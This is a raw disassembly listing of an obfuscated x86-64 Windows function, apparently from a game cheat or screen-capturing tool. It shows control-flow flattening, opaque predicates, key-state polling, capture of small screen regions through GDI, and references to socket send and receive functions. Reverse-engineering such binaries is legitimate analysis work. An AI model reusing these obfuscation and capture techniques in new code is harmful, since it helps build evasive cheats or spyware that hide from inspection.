mov rax, qword [rbp - 0x70]
mov eax, 0x96d59965
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2e8e5332
mov ecx, 0x773ff7ea
jmp 0x1402b3de0
mov al, byte [rbp + 0x1f2]
mov byte [rbp + 0x1e2], al
cmp dword [rbp + 0x20], 0
mov eax, 0x6866f8c2
mov ecx, 0xf3452378
cmove eax, ecx
mov cl, byte [rbp + 0x1e2]
mov byte [rbp + 0x1ed], cl
jmp 0x1402b3ded
cmp dword [rbp - 8], 0
sete byte [rbp + 0x171]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe202b1bb
mov ecx, 0xc9d0d89a
jmp 0x1402b3de0
test bl, 1
movss dword [rbp + 0x190], xmm0
cvttss2si eax, dword [rbp + 0x190]
mov dword [rbp + 0x1d8], eax
movss xmm0, dword [0x14083dcec]
sete byte [rbp + 0x238]
cmp edi, 0xa
setl byte [rbp + 0x210]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0xd5e09d55
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x4b4142e4
jg 0x1402bbdd0
cmp eax, 0xa59062ab
je 0x1402bbde6
cmp eax, 0xd5e09d55
jne 0x1402bbd90
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402bbd90
cmp eax, 0x4b4142e5
je 0x1402bc6a1
cmp eax, 0x6a6efff6
jne 0x1402bbd90
mov eax, esi
jmp 0x1402bbd90
mov eax, 0x6a6efff6
jmp 0x1402bbd90
mov al, byte [rbp + 0x1e1]
mov byte [rbp + 0x1e8], al
mov eax, 0xb4ba7929
jmp 0x1402b3ded
mov eax, 0xb6ae3d69
jmp 0x1402b3ded
test byte [rbp + 0x1ef], 1
mov eax, 0x2b0b3c25
mov ecx, 0x147d2036
cmove eax, ecx
jmp 0x1402b3ded
mov dword [0x14083dcf4], 0
mov dword [0x14083dcf8], 0
mov eax, 0x634d8e22
jmp 0x1402b3ded
mov dword [0x14083dcf4], 0
mov dword [0x14083dcf8], 0
mov eax, 0x2b0b3c25
jmp 0x1402b3ded
sub rsp, 0x20
call fcn.1402b0b30
call fcn.1402b1100
call fcn.1402b2400
add rsp, 0x20
mov eax, 0x96d59965
jmp 0x1402b3ded
mov eax, dword [rbp]
mov dword [rbp + 0x50], eax
mov eax, 0x8bc6325f
jmp 0x1402b3ded
mov dword [rbp + 0x10], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1ea], 1
mov eax, 0xbf4823c7
jmp 0x1402b3ded
mov rax, qword [rbp + 0x80]
mov eax, 0xc1b86ea4
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b3326db
mov ecx, 0x54fdb679
jmp 0x1402b3de0
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x89f30356
mov ecx, 0xea0c7c95
jmp 0x1402b3de0
mov eax, dword [rbp + 0x18c]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
mov eax, dword [rbp + 0x68]
sub eax, ecx
add eax, dword [0x14083dfdc]
mov dword [0x14083dcf4], eax
mov eax, dword [rbp + 0x1c0]
sub eax, ecx
add eax, dword [0x14083dfe0]
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
addss xmm0, dword [0x14083dc4c]
cvttss2si eax, xmm0
mov dword [0x14083dcf8], eax
mov eax, 0x1ada2c2f
mov dword [rbp + 0x24], 8
mov byte [rbp + 0x1f3], 1
jmp 0x1402b3ded
mov dword [rbp + 0x20], 0
mov al, byte [rbp + 0x1e3]
mov byte [rbp + 0x1f2], al
mov eax, 0x645bd39d
jmp 0x1402b3ded
mov eax, 0xc7531a4f
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x828c2c9
mov ecx, 0xd0d6642
jmp 0x1402b3de0
mov eax, 0x57f3eeed
jmp 0x1402b3ded
cmp byte [0x14083df90], 0
mov eax, 0xd0a3c5f1
mov ecx, 0x3624f509
cmove eax, ecx
jmp 0x1402b3ded
mov eax, 0x6e485d00
jmp 0x1402b3ded
mov al, byte [rbp + 0x20e]
mov byte [rbp + 0x1ec], al
mov eax, 0x4ce2c5d3
jmp 0x1402b3ded
mov ecx, dword [0x14083dfc4]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
mov eax, 0xdd8f6a7f
jmp 0x1402b3ded
mov al, byte [rbp + 0x1f3]
mov byte [rbp + 0x1e5], al
cmp dword [rbp + 0x24], 0
mov eax, 0xd303b146
mov ecx, 0xb25b6ef8
cmove eax, ecx
mov cl, byte [rbp + 0x1e5]
mov byte [rbp + 0x1f0], cl
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7d045c5f
mov ecx, 0xab98f448
jmp 0x1402b3de0
mov rax, qword [rax]
mov qword [0x14083dce8], rax
mov byte [0x14083da11], 0
mov eax, 0x96d59965
jmp 0x1402b3ded
mov eax, 0x3efb3317
jmp 0x1402b3ded
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x50], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1403844e0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x58], rax
mov eax, dword [0x14083dfa0]
mov dword [rbp + 0x188], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9628cfd1
mov ecx, 0x89c8270e
jmp 0x1402b3de0
mov eax, dword [rbp + 0x184]
cmp eax, 5
mov eax, 0x64347567
mov ecx, 0xd90cb561
cmovl eax, ecx
jmp 0x1402b3ded
mov eax, dword [rbp + 0x1fc]
mov eax, 0xec9e54a3
jmp 0x1402b3ded
mov rdx, qword [rbp + 0x30]
mov edx, ecx
add edx, 0xfffffffb
shr edx, 0x1f
add ecx, edx
add ecx, 0xfffffffb
sar ecx, 1
mov edx, eax
add edx, 0xfffffffb
shr edx, 0x1f
add eax, edx
add eax, 0xfffffffb
sar eax, 1
mov rdx, qword [rbp + 0x30]
mov dword [rdx], eax
mov dword [rdx + 4], ecx
movabs rax, 0x500000005
mov qword [rdx + 8], rax
mov rax, qword [rbp + 0x30]
movsxd r13, dword [rax + 8]
movsxd rbx, dword [rax + 0xc]
mov r15d, dword [rax]
mov esi, dword [rax + 4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r12
mov edx, r13d
mov r8d, ebx
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov qword [rbp + 0x200], rax
sub rsp, 0x50
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9d, r13d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
lea rax, [rbp + 0x1a8]
movups xmmword [rax], xmm6
mov dword [rbp + 0x190], Ordinal_41
mov dword [rbp + 0x19c], 0x200001
mov dword [rbp + 0x194], r13d
mov eax, ebx
neg eax
mov dword [rbp + 0x198], eax
mov qword [rbp + 0x1a0], 0
imul r13, rbx
shl r13, 2
sub rsp, 0x20
lea rcx, [0x14083dd18]
mov rdx, r13
lea r8, [rbp + 0x210]
call fcn.14034ce50
add rsp, 0x20
mov eax, dword [0x1408382f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x228]
mov ecx, dword [0x1408382f4]
mov eax, 0x2acbea3d
mov edx, 0xa71f946
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x238]
mov r8, qword [0x14083dd18]
cmovl eax, edx
mov edx, 0x6e3609a9
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x6e3609a8
jg 0x1402bc320
cmp edx, 0xa71f946
je 0x1402bc6e8
cmp edx, 0x2acbea3d
jne 0x1402bc2f0
mov edx, 0x74015c41
jmp 0x1402bc2f0
cmp edx, 0x74015c41
je 0x1402bc352
cmp edx, 0x6e3609a9
jne 0x1402bc2f0
movzx ecx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0x2acbea3d
mov esi, 0x74015c41
cmovne edx, esi
test cl, cl
cmovne edx, esi
jmp 0x1402bc2f0
mov edx, eax
jmp 0x1402bc2f0
mov qword [rbp + 0x210], r8
mov rax, qword [rbp + 0x210]
sub rsp, 0x40
lea rsi, [rbp + 0x190]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rdi
mov rdx, r13
xor r8d, r8d
mov r9d, ebx
mov r14, qword [sym.imp.GDI32.dll_GetDIBits]
call r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, r13
xor r8d, r8d
mov r9d, ebx
call r14
add rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp + 0x200]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x89f30356
mov ecx, 0x7d6a284c
jmp 0x1402b3de0
mov rax, qword [rbp + 0x58]
sub rsp, 0x20
mov ecx, 1
call rax
add rsp, 0x20
test ax, ax
mov eax, 0x8bc6325f
mov ecx, 0x22d5ff09
cmovns eax, ecx
mov ecx, dword [rbp]
mov dword [rbp + 0x50], ecx
jmp 0x1402b3ded
movss dword [rbp + 0x190], xmm0
cvttss2si eax, dword [rbp + 0x190]
cmp dword [0x14083df9c], 3
mov dword [rbp], eax
mov eax, 0xfe6c135f
mov ecx, 0xd8ed2955
cmove eax, ecx
jmp 0x1402b3ded
test bl, 1
movss dword [rbp + 0x190], xmm0
cvttss2si eax, dword [rbp + 0x190]
mov dword [rbp + 0x48], eax
movss xmm0, dword [0x14083dcec]
sete byte [rbp + 0x238]
cmp edi, 0xa
setl byte [rbp + 0x210]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0xd5e09d55
nop word [rax + rax]
cmp eax, 0x4b4142e4
jg 0x1402bc4f0
cmp eax, 0xa59062ab
je 0x1402bc506
cmp eax, 0xd5e09d55
jne 0x1402bc4b0
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402bc4b0
cmp eax, 0x4b4142e5
je 0x1402bc78d
cmp eax, 0x6a6efff6
jne 0x1402bc4b0
mov eax, esi
jmp 0x1402bc4b0
mov eax, 0x6a6efff6
jmp 0x1402bc4b0
mov rax, qword [rax]
mov qword [0x14083dce8], rax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x41173c44
mov ecx, 0x94206491
jmp 0x1402b3de0
test bl, 1
movss dword [rbp + 0x190], xmm0
movss xmm0, dword [rbp + 0x190]
movss xmm0, dword [0x14083dcec]
sete byte [rbp + 0x238]
cmp edi, 0xa
setl byte [rbp + 0x210]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0xd5e09d55
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4b4142e4
jg 0x1402bc5c0
cmp eax, 0xa59062ab
je 0x1402bc5d6
cmp eax, 0xd5e09d55
jne 0x1402bc580
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402bc580
cmp eax, 0x4b4142e5
je 0x1402bc7bf
cmp eax, 0x6a6efff6
jne 0x1402bc580
mov eax, esi
jmp 0x1402bc580
mov eax, 0x6a6efff6
jmp 0x1402bc580
mov rax, qword [rax]
mov qword [0x14083dce8], rax
mov eax, 0x3efb3317
jmp 0x1402b3ded
mov qword [rbp + 0x210], r8
mov rax, qword [rbp + 0x210]
sub rsp, 0x40
lea r14, [rbp + 0x190]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
xor eax, eax
mov qword [rbp - 0x20], rax
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
mov r9d, ebx
mov rdi, qword [sym.imp.GDI32.dll_GetDIBits]
call rdi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
mov r9d, ebx
call rdi
add rsp, 0x20
mov rcx, rsi
mov rdx, qword [rbp + 0x200]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, 0xc275255a
mov dword [rbp + 0x2c], 0
jmp 0x1402b3ded
movss dword [rbp + 0x190], xmm0
cvttss2si eax, dword [rbp + 0x190]
mov dword [rbp + 0x168], eax
mov eax, dword [rbp + 0x1d8]
or eax, dword [rbp + 0x168]
setne byte [rbp + 0x173]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb641d24f
mov ecx, 0xb07bc02f
jmp 0x1402b3de0
mov qword [rbp + 0x210], r8
mov rax, qword [rbp + 0x210]
sub rsp, 0x40
lea rsi, [rbp + 0x190]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov rcx, rdi
mov rdx, r14
xor r8d, r8d
mov r9d, ebx
mov r15, qword [sym.imp.GDI32.dll_GetDIBits]
call r15
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, r14
xor r8d, r8d
mov r9d, ebx
call r15
add rsp, 0x20
mov rcx, rdi
mov rdx, qword [rbp + 0x200]
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
add rsp, 0x20
mov eax, 0xea0c7c95
jmp 0x1402b3ded
movss dword [rbp + 0x190], xmm0
cvttss2si eax, dword [rbp + 0x190]
mov dword [rbp + 8], eax
cmp dword [0x14083df9c], 3
mov eax, 0x6f91de98
mov ecx, 0xdf62b89a
cmove eax, ecx
mov ecx, dword [rbp + 8]
mov dword [rbp + 0x4c], ecx
jmp 0x1402b3ded
movss dword [rbp + 0x190], xmm0
movss xmm0, dword [rbp + 0x190]
mov eax, 0xb07405a2
jmp 0x1402b3ded
cmp eax, 0x568d635f
jne 0x1402b3ded
movaps xmm6, xmmword [rbp + 0x240]
movaps xmm7, xmmword [rbp + 0x250]
movaps xmm8, xmmword [rbp + 0x260]
movaps xmm9, xmmword [rbp + 0x270]
movaps xmm10, xmmword [rbp + 0x280]
movaps xmm11, xmmword [rbp + 0x290]
lea rsp, [rbp + 0x2a8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret